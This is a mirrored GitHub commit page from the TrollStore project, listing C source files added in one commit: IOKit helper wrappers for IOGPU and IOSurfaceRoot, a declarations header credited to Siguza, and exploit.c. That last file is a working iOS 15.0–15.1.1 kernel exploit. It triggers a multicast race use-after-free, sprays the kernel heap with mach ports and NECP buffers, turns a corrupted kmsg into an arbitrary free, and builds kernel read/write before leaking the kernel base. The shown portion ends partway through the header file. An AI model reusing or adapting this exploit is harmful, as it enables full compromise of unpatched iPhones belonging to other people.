mirror of
https://github.com/opa334/TrollStore.git
synced 2026-11-28 23:39:41 +08:00
add project
This commit is contained in:
commit
057bd1a45f
166 files changed
+8422
No files matched your search
@@ -0,0 +1,81 @@
|
||||
#include "IOGPU.h"
|
||||
|
||||
#include <sys/utsname.h>
|
||||
|
||||
io_connect_t IOGPU_init(void)
|
||||
{
|
||||
mach_port_t mp = MACH_PORT_NULL;
|
||||
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
|
||||
IOMasterPort(MACH_PORT_NULL, &mp);
|
||||
io_connect_t uc;
|
||||
|
||||
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator"));
|
||||
if (s == MACH_PORT_NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
return uc;
|
||||
}
|
||||
|
||||
void IOGPU_exit(io_connect_t uc)
|
||||
{
|
||||
IOServiceClose(uc);
|
||||
}
|
||||
|
||||
uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member)
|
||||
{
|
||||
uint64_t outStructCnt = 0x10;
|
||||
uint32_t inStructCnt = 0x408;
|
||||
uint8_t inStruct[0x408] = {0};
|
||||
uint8_t outStruct[0x10] = {0};
|
||||
|
||||
// avoid null termination
|
||||
memset(inStruct, 0x01, 0x30);
|
||||
*(uint64_t *)(inStruct + 0x30) = member;
|
||||
|
||||
kern_return_t kr = IOConnectCallStructMethod(uc, 7, inStruct, inStructCnt, outStruct, (size_t *)&outStructCnt);
|
||||
|
||||
if (kr)
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int IOGPU_get_command_queue_extra_refills_needed(void)
|
||||
{
|
||||
struct utsname u;
|
||||
uname(&u);
|
||||
|
||||
// iPhone 7
|
||||
// iPhone 11
|
||||
// iPhone 12
|
||||
// iPhone 13
|
||||
if (
|
||||
strstr(u.machine, "iPhone9,")
|
||||
|| strstr(u.machine, "iPhone12,")
|
||||
|| strstr(u.machine, "iPhone13,")
|
||||
|| strstr(u.machine, "iPhone14,")
|
||||
)
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
// iPhone 8, X
|
||||
// iPhone XS, XR
|
||||
else if (
|
||||
strstr(u.machine, "iPhone10,")
|
||||
|| strstr(u.machine, "iPhone11,")
|
||||
)
|
||||
{
|
||||
return 3;
|
||||
}
|
||||
|
||||
printf("IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\n", u.machine);
|
||||
|
||||
return -1;
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
#ifndef __IOGPU_H__
|
||||
#define __IOGPU_H__
|
||||
|
||||
#include "iokit.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdint.h>
|
||||
|
||||
io_connect_t IOGPU_init(void);
|
||||
void IOGPU_exit(io_connect_t uc);
|
||||
|
||||
uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member);
|
||||
|
||||
int IOGPU_get_command_queue_extra_refills_needed(void);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,124 @@
|
||||
#include "IOSurfaceRoot.h"
|
||||
|
||||
io_connect_t IOSurfaceRoot_init(void)
|
||||
{
|
||||
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
|
||||
mach_port_t mp = MACH_PORT_NULL;
|
||||
IOMasterPort(MACH_PORT_NULL, &mp);
|
||||
io_connect_t uc;
|
||||
|
||||
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("IOSurfaceRoot"));
|
||||
if (s == MACH_PORT_NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (IOServiceOpen(s, mach_task_self(), 0, &uc) != KERN_SUCCESS)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
return uc;
|
||||
}
|
||||
|
||||
void IOSurfaceRoot_exit(io_connect_t uc)
|
||||
{
|
||||
IOServiceClose(uc);
|
||||
}
|
||||
|
||||
uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc)
|
||||
{
|
||||
// Brandon Azad's definitions from https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c4
|
||||
struct _IOSurfaceFastCreateArgs {
|
||||
uint64_t address;
|
||||
uint32_t width;
|
||||
uint32_t height;
|
||||
uint32_t pixel_format;
|
||||
uint32_t bytes_per_element;
|
||||
uint32_t bytes_per_row;
|
||||
uint32_t alloc_size;
|
||||
};
|
||||
|
||||
struct IOSurfaceLockResult {
|
||||
uint8_t _pad1[0x18];
|
||||
uint32_t surface_id;
|
||||
uint8_t _pad2[0xF60-0x18-0x4];
|
||||
};
|
||||
|
||||
struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = (uint32_t) 0x4000 };
|
||||
struct IOSurfaceLockResult lock_result = {0};
|
||||
uint64_t lock_result_size = sizeof(lock_result);
|
||||
|
||||
IOConnectCallMethod(
|
||||
uc,
|
||||
6,
|
||||
NULL, 0,
|
||||
&create_args, sizeof(create_args),
|
||||
NULL, NULL,
|
||||
&lock_result, (size_t *)&lock_result_size);
|
||||
|
||||
return lock_result.surface_id;
|
||||
}
|
||||
|
||||
kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id)
|
||||
{
|
||||
uint64_t sz = 0xF60;
|
||||
uint8_t o[0xF60];
|
||||
uint64_t scalarInput = surf_id;
|
||||
kern_return_t ret = IOConnectCallMethod(uc, 4, &scalarInput, 1, 0, 0, 0, 0, o, (size_t *)&sz);
|
||||
return ret;
|
||||
}
|
||||
|
||||
kern_return_t IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id)
|
||||
{
|
||||
uint64_t scalarInput = surf_id;
|
||||
kern_return_t ret = IOConnectCallMethod(uc, 1, &scalarInput, 1, 0, 0, 0, 0, 0, 0);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void IOSurfaceRoot_release_all(io_connect_t uc)
|
||||
{
|
||||
for (uint32_t surf_id = 1; surf_id < 0x3FFF; ++surf_id)
|
||||
{
|
||||
IOSurfaceRoot_release_surface(uc, surf_id);
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id)
|
||||
{
|
||||
uint64_t scalarInput = surf_id;
|
||||
uint64_t output = 0;
|
||||
uint64_t outputCnt = 1;
|
||||
IOConnectCallMethod(uc, 16, &scalarInput, 1, 0, 0, &output, (uint32_t *)&outputCnt, 0, 0);
|
||||
|
||||
return (uint32_t)output;
|
||||
}
|
||||
|
||||
void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile)
|
||||
{
|
||||
uint64_t scalarInput[3];
|
||||
|
||||
scalarInput[0] = surf_id;
|
||||
scalarInput[1] = 0;
|
||||
scalarInput[2] = tile;
|
||||
|
||||
IOConnectCallScalarMethod(uc, 31, (uint64_t *)&scalarInput, 3, 0, 0);
|
||||
}
|
||||
|
||||
uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void)
|
||||
{
|
||||
for (int i = 0; i < 4; ++i)
|
||||
{
|
||||
io_connect_t uc = IOSurfaceRoot_init();
|
||||
for (int i = 0; i < 0xf00; ++i)
|
||||
{
|
||||
uint32_t last_id = IOSurfaceRoot_create_surface_fast(uc);
|
||||
if (0x3400 <= (last_id * sizeof(uint64_t)))
|
||||
{
|
||||
return last_id;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
#ifndef __IOSURFACEROOT_H__
|
||||
#define __IOSURFACEROOT_H__
|
||||
|
||||
#include "iokit.h"
|
||||
|
||||
#include <IOSurface/IOSurfaceRef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
io_connect_t IOSurfaceRoot_init(void);
|
||||
void IOSurfaceRoot_exit(io_connect_t uc);
|
||||
|
||||
uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc);
|
||||
|
||||
kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id);
|
||||
|
||||
int IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id);
|
||||
void IOSurfaceRoot_release_all(io_connect_t uc);
|
||||
|
||||
uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id);
|
||||
|
||||
void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile);
|
||||
|
||||
uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,335 @@
|
||||
#include "exploit.h"
|
||||
|
||||
#include "iokit.h"
|
||||
#include "IOGPU.h"
|
||||
#include "IOSurfaceRoot.h"
|
||||
#include "kernel_rw.h"
|
||||
#include "kernel_base.h"
|
||||
#include "mcast.h"
|
||||
#include "necp.h"
|
||||
#include "port_utils.h"
|
||||
#include "spray.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
|
||||
|
||||
#define KHEAP_DATA_MAPPABLE_LOC 0xFFFFFFE383200000 // may have to be tweaked per device
|
||||
#define KHEAP_DEFAULT_MAPPABLE_LOC 0xFFFFFFE376000000 // may have to be tweaked per device
|
||||
#define BYTECOPY_FIRST_TARGET (KHEAP_DATA_MAPPABLE_LOC + 0x3F8C - BYTECOPY_OFFSET_IPV6) // will copy over trailer size of kmsg (used for identification of which kmsg was corrupted)
|
||||
#define BYTECOPY_SECOND_TARGET (KHEAP_DATA_MAPPABLE_LOC + 3 - BYTECOPY_OFFSET_IPV6) // will copy over highest byte of kmsg's message bits, turning a non-complex kmsg to a complex one if its size ends in 0x80 (MACH_MSGH_BITS_COMPLEX)
|
||||
#define BYTECOPY_OFFSET_IPV6 0x28
|
||||
#define PORTS_COUNT 0x2A00
|
||||
#define KMSG_SIZE 0x3F80 // the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX)
|
||||
#define UAF_BUFFER_KALLOC_1664_JOIN_COUNT 64 // UaF buffer ends up in default.kalloc.1664
|
||||
|
||||
mach_port_t notif_port = MACH_PORT_NULL;
|
||||
mach_port_t *kheap_default_ports = NULL;
|
||||
uint8_t *IOSurfaceClient_array_buf = NULL;
|
||||
mach_port_t *kheap_data_ports = NULL;
|
||||
int kheap_data_idx = -1;
|
||||
int extra_frees_for_device = -1;
|
||||
io_connect_t iogpu_connect = MACH_PORT_NULL;
|
||||
|
||||
mach_port_t get_arb_free_holder(void)
|
||||
{
|
||||
int success = 0;
|
||||
|
||||
// reliability voodoo
|
||||
for (int i = 0; i < 3; ++i)
|
||||
{
|
||||
mcast_increase_race_reliability();
|
||||
printf("Increase reliability...\n");
|
||||
}
|
||||
|
||||
// more reliability voodoo
|
||||
pthread_attr_t pattr;
|
||||
pthread_attr_init(&pattr);
|
||||
pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);
|
||||
|
||||
// initialize refill buffer, putting the target for the bytecopy primitive there
|
||||
uint8_t *necp_buf = malloc(4096);
|
||||
*(uint64_t *)(necp_buf + 0x278) = BYTECOPY_FIRST_TARGET;
|
||||
|
||||
printf("Start (will fail if device has not been rebooted since last run)\n");
|
||||
kheap_data_idx = -1;
|
||||
for (int iterations = 0; iterations < 255; ++iterations)
|
||||
{
|
||||
pthread_t pt1;
|
||||
pthread_t pt2;
|
||||
int s = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
int necp_fd = necp_open(0);
|
||||
|
||||
mcast_race_sock = s;
|
||||
|
||||
// grow the buffer on which the UaF will be triggered to default.kalloc.1664 and
|
||||
// put it at its max size before next realloc will occur
|
||||
int ip = 0;
|
||||
for (ip = 0; ip < UAF_BUFFER_KALLOC_1664_JOIN_COUNT-2; ++ip)
|
||||
{
|
||||
mcast_join_group(ip);
|
||||
}
|
||||
|
||||
// trigger the UaF in default.kalloc.1664, perform bytecopy primitive if refill is successful
|
||||
pthread_create(&pt1, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)ip);
|
||||
pthread_create(&pt2, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)(ip + 1));
|
||||
|
||||
// refill the UaF buffer in default.kalloc.1664 during the race
|
||||
for (int i = 0; i < 10; ++i)
|
||||
{
|
||||
spray_default_kalloc_necp(necp_fd, necp_buf, 0x318);
|
||||
}
|
||||
|
||||
// synchronize
|
||||
pthread_join(pt1, NULL);
|
||||
pthread_join(pt2, NULL);
|
||||
|
||||
// find out if the refill succeeded, in which case a corrupted trailer size will be returned
|
||||
// for the holder of the corrupted kmsg, which has also had its message bits corrupted
|
||||
// (0x80000000 - MACH_MSGH_BITS_COMPLEX - now set)
|
||||
{
|
||||
for (int i = 0; i < PORTS_COUNT; ++i)
|
||||
{
|
||||
int sz = port_peek_trailer_size(kheap_data_ports[i]);
|
||||
if (sz != 8)
|
||||
{
|
||||
printf("kheap_data_idx: %08X\n", i);
|
||||
kheap_data_idx = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (kheap_data_idx != -1)
|
||||
{
|
||||
success = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
close(s);
|
||||
printf("iteration %d\n", iterations);
|
||||
}
|
||||
|
||||
if (!success)
|
||||
{
|
||||
printf("Failed! Run exploit only once per boot\n");
|
||||
printf("Make sure you are on iOS 15.0 - 15.1.1 and reboot to try again\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
free(necp_buf);
|
||||
|
||||
return kheap_data_ports[kheap_data_idx];
|
||||
}
|
||||
|
||||
int exploitation_init(void)
|
||||
{
|
||||
// different by device, retrieve it first and fail if unsuccessful
|
||||
extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed();
|
||||
if (extra_frees_for_device == -1)
|
||||
{
|
||||
printf("Exiting early, provide correct number 1-5 in the code for this device to proceed\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
|
||||
kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
|
||||
mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
|
||||
mach_port_t *ool_ports = malloc(0x4000);
|
||||
uint8_t *kheap_data_spray_buf = malloc(0x4000);
|
||||
memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
|
||||
memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
|
||||
memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
|
||||
memset(ool_ports, 0, 0x4000);
|
||||
memset(kheap_data_spray_buf, 0, 0x4000);
|
||||
|
||||
// initialize the inline data
|
||||
|
||||
// fake descriptor for free primitive
|
||||
*(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 1;
|
||||
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; // free primitive target
|
||||
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; // disposition, size, etc
|
||||
// align a pointer here so that when the kmsg trailer size is corrupted, this pointer
|
||||
// will after that be followed and a second bytecopy performed where it points (kmsg message bits)
|
||||
*(uint64_t *)(kheap_data_spray_buf + 0x3F64) = BYTECOPY_SECOND_TARGET;
|
||||
|
||||
// spray large sprays to map KHEAP_DATA_MAPPABLE_LOC and KHEAP_DEFAULT_MAPPABLE_LOC
|
||||
for (int i = 0; i < PORTS_COUNT; ++i)
|
||||
{
|
||||
// KHEAP_DEFAULT
|
||||
*ool_ports = port_new();
|
||||
contained_ports[i] = *ool_ports;
|
||||
mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports);
|
||||
kheap_default_ports[i] = pp[0];
|
||||
free(pp);
|
||||
|
||||
// KHEAP_DATA_BUFFERS
|
||||
kheap_data_ports[i] = spray_data_kalloc_kmsg_single(kheap_data_spray_buf, KMSG_SIZE);
|
||||
}
|
||||
|
||||
notif_port = port_new();
|
||||
for (int i = 0; i < PORTS_COUNT; ++i)
|
||||
{
|
||||
mach_port_t prev;
|
||||
mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev);
|
||||
mach_port_deallocate(mach_task_self(), contained_ports[i]);
|
||||
}
|
||||
|
||||
// pre-init kernel rw
|
||||
IOSurfaceClient_array_buf = malloc(0x4000);
|
||||
kernel_rw_preinit(KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10, IOSurfaceClient_array_buf, 0x4000);
|
||||
|
||||
free(contained_ports);
|
||||
free(ool_ports);
|
||||
free(kheap_data_spray_buf);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)
|
||||
{
|
||||
uint8_t msg_buf[0x100];
|
||||
int fildes[2];
|
||||
pipe(fildes);
|
||||
int read_pipe = fildes[0];
|
||||
int write_pipe = fildes[1];
|
||||
|
||||
// alloc this one before array of IOSurfaceClients becomes 0x4000
|
||||
io_connect_t iosurface_connect_krw = IOSurfaceRoot_init();
|
||||
|
||||
// cause max size of arrays of IOSurfaceClients to become 0x4000
|
||||
uint32_t last_id = IOSurfaceRoot_cause_array_size_to_be_0x4000();
|
||||
|
||||
// trigger arbitrary free in kheap default
|
||||
port_destroy(arb_free_holder);
|
||||
|
||||
// do refill in kheap default
|
||||
IOSurfaceRoot_lookup_surface(iosurface_connect_krw, last_id);
|
||||
// NULL out array
|
||||
IOSurfaceRoot_release_all(iosurface_connect_krw);
|
||||
|
||||
// find allocation at KHEAP_DEFAULT_MAPPABLE_LOC
|
||||
int kheap_default_idx = -1;
|
||||
for (uint32_t i = 0;
|
||||
(i < PORTS_COUNT) && port_has_msg(notif_port);
|
||||
i++)
|
||||
{
|
||||
port_receive_msg(notif_port, msg_buf, sizeof(msg_buf));
|
||||
|
||||
port_destroy(kheap_default_ports[i]);
|
||||
|
||||
kheap_default_idx = i;
|
||||
}
|
||||
|
||||
// Note: don't add time sensitive code here, allocation at KHEAP_DEFAULT_MAPPABLE_LOC
|
||||
// has been free'd and will be refilled below
|
||||
|
||||
// printf("Allocation at KHEAP_DEFAULT_MAPPABLE_LOC has been free'd\n");
|
||||
|
||||
if (kheap_default_idx >= PORTS_COUNT)
|
||||
{
|
||||
printf("kheap_default_idx >= PORTS_COUNT\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// extra frees
|
||||
for (int i = 0; i < extra_frees_for_device; ++i)
|
||||
{
|
||||
port_destroy(kheap_default_ports[(kheap_default_idx+1)+i]);
|
||||
}
|
||||
|
||||
// do refill
|
||||
iogpu_connect = IOGPU_init();
|
||||
// add entry
|
||||
IOGPU_create_command_queue(iogpu_connect, KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10);
|
||||
|
||||
printf("kheap_default_idx: %08X\n", kheap_default_idx);
|
||||
|
||||
// refill in kheap data
|
||||
port_destroy(kheap_data_ports[kheap_data_idx-1]);
|
||||
write(write_pipe, IOSurfaceClient_array_buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
|
||||
|
||||
kernel_rw_init(iosurface_connect_krw, 1, read_pipe, write_pipe);
|
||||
|
||||
kwrite32(KHEAP_DEFAULT_MAPPABLE_LOC, 0xFEED);
|
||||
uint32_t result = kread32(KHEAP_DEFAULT_MAPPABLE_LOC);
|
||||
printf("Test kwrite32 and kread32: %08X (should be 0000FEED)\n", result);
|
||||
if (result != 0xFEED)
|
||||
{
|
||||
printf("Failed! Reboot to try again (remember to only run once per boot)\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Get kernel base...\n");
|
||||
|
||||
*kernel_base = kernel_base_from_holder(kheap_data_ports[kheap_data_idx-2], KHEAP_DATA_MAPPABLE_LOC - 0x8000);
|
||||
printf("Got kernel base: %p\n", (void *)*kernel_base);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void exploitation_cleanup(void)
|
||||
{
|
||||
uint64_t command_queue_loc = kread64(KHEAP_DEFAULT_MAPPABLE_LOC + 8);
|
||||
uint64_t parent_loc = kread64(command_queue_loc + 0x488);
|
||||
uint64_t namespace_loc = kread64(parent_loc + 0x88);
|
||||
|
||||
// bump refs
|
||||
kwrite32(command_queue_loc + 0x8, 10);
|
||||
kwrite32(namespace_loc + 0x8, 10);
|
||||
|
||||
IOServiceClose(iogpu_connect);
|
||||
}
|
||||
|
||||
int exploit_get_krw_and_kernel_base(uint64_t *kernel_base)
|
||||
{
|
||||
uint64_t _kernel_base = 0;
|
||||
|
||||
// generic exploitation init
|
||||
if (exploitation_init() != 0)
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
// trigger bug, get arbitrary free
|
||||
mach_port_t arb_free_holder = get_arb_free_holder();
|
||||
|
||||
// generic exploitation using arbitrary free
|
||||
exploitation_get_krw_with_arb_free(arb_free_holder, &_kernel_base);
|
||||
|
||||
// generic exploitation cleanup (kernel r/w still active)
|
||||
//exploitation_cleanup();
|
||||
|
||||
*kernel_base = _kernel_base;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int exploit_go(void)
|
||||
{
|
||||
uint64_t kernel_base = 0;
|
||||
|
||||
if (exploit_get_krw_and_kernel_base(&kernel_base) != 0)
|
||||
{
|
||||
printf("Exploit failed!\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// test kernel r/w, read kernel base
|
||||
uint32_t mh_magic = kread32(kernel_base);
|
||||
if (mh_magic != 0xFEEDFACF)
|
||||
{
|
||||
printf("mh_magic != 0xFEEDFACF: %08X\n", mh_magic);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("kread32(_kernel_base) success: %08X\n", mh_magic);
|
||||
|
||||
printf("Done\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
#ifndef __EXPLOIT_H__
|
||||
#define __EXPLOIT_H__
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
int exploit_get_krw_and_kernel_base(uint64_t *kernel_base);
|
||||
void exploitation_cleanup(void);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,120 @@
|
||||
// Credits: Siguza
|
||||
// https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h
|
||||
#ifndef IOKIT_H
|
||||
#define IOKIT_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <mach/mach.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
typedef char io_name_t[128];
|
||||
typedef char io_string_t[512];
|
||||
typedef char io_struct_inband_t[4096];
|
||||
typedef mach_port_t io_object_t;
|
||||
typedef io_object_t io_registry_entry_t;
|
||||
typedef io_object_t io_service_t;
|
||||
typedef io_object_t io_connect_t;
|
||||
typedef io_object_t io_iterator_t;
|
||||
|
||||
enum
|
||||
{
|
||||
kIOCFSerializeToBinary = 0x00000001U,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
kIOClassNameOverrideNone = 0x00000001U,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
kIOMapAnywhere = 0x00000001U,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
kIORegistryIterateRecursively = 0x00000001U,
|
||||
kIORegistryIterateParents = 0x00000002U,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
kOSSerializeDictionary = 0x01000000U,
|
||||
kOSSerializeArray = 0x02000000U,
|
||||
kOSSerializeSet = 0x03000000U,
|
||||
kOSSerializeNumber = 0x04000000U,
|
||||
kOSSerializeSymbol = 0x08000000U,
|
||||
kOSSerializeString = 0x09000000U,
|
||||
kOSSerializeData = 0x0a000000U,
|
||||
kOSSerializeBoolean = 0x0b000000U,
|
||||
kOSSerializeObject = 0x0c000000U,
|
||||
|
||||
kOSSerializeTypeMask = 0x7F000000U,
|
||||
kOSSerializeDataMask = 0x00FFFFFFU,
|
||||
|
||||
kOSSerializeEndCollection = 0x80000000U,
|
||||
|
||||
kOSSerializeMagic = 0x000000d3U,
|
||||
};
|
||||
|
||||
extern const mach_port_t kIOMasterPortDefault;
|
||||
|
||||
CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options);
|
||||
CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err);
|
||||
|
||||
kern_return_t IOObjectRetain(io_object_t object);
|
||||
kern_return_t IOObjectRelease(io_object_t object);
|
||||
boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name);
|
||||
uint32_t IOObjectGetKernelRetainCount(io_object_t object);
|
||||
kern_return_t IOObjectGetClass(io_object_t object, io_name_t name);
|
||||
kern_return_t _IOObjectGetClass(io_object_t object, uint64_t options, io_name_t name);
|
||||
CFStringRef IOObjectCopyClass(io_object_t object);
|
||||
CFStringRef _IOObjectCopyClass(io_object_t object, uint64_t options);
|
||||
CFStringRef IOObjectCopySuperclassForClass(CFStringRef name);
|
||||
CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name);
|
||||
|
||||
io_registry_entry_t IORegistryGetRootEntry(mach_port_t master);
|
||||
io_registry_entry_t IORegistryEntryFromPath(mach_port_t master, const io_string_t path);
|
||||
kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name);
|
||||
kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID);
|
||||
kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path);
|
||||
kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size);
|
||||
kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options);
|
||||
CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options);
|
||||
kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties);
|
||||
|
||||
kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it);
|
||||
kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it);
|
||||
kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
|
||||
kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
|
||||
io_object_t IOIteratorNext(io_iterator_t it);
|
||||
boolean_t IOIteratorIsValid(io_iterator_t it);
|
||||
void IOIteratorReset(io_iterator_t it);
|
||||
|
||||
CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
|
||||
CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED;
|
||||
io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
|
||||
kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it);
|
||||
kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID);
|
||||
kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID);
|
||||
kern_return_t IOServiceGetBusyStateAndTime(io_service_t service, uint64_t *state, uint32_t *busyState, uint64_t *busyTime);
|
||||
kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client);
|
||||
kern_return_t IOServiceClose(io_connect_t client);
|
||||
kern_return_t IOCloseConnection(io_connect_t client);
|
||||
kern_return_t IOConnectAddRef(io_connect_t client);
|
||||
kern_return_t IOConnectRelease(io_connect_t client);
|
||||
kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service);
|
||||
kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other);
|
||||
kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref);
|
||||
kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options);
|
||||
kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr);
|
||||
kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties);
|
||||
kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
|
||||
kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
|
||||
kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
|
||||
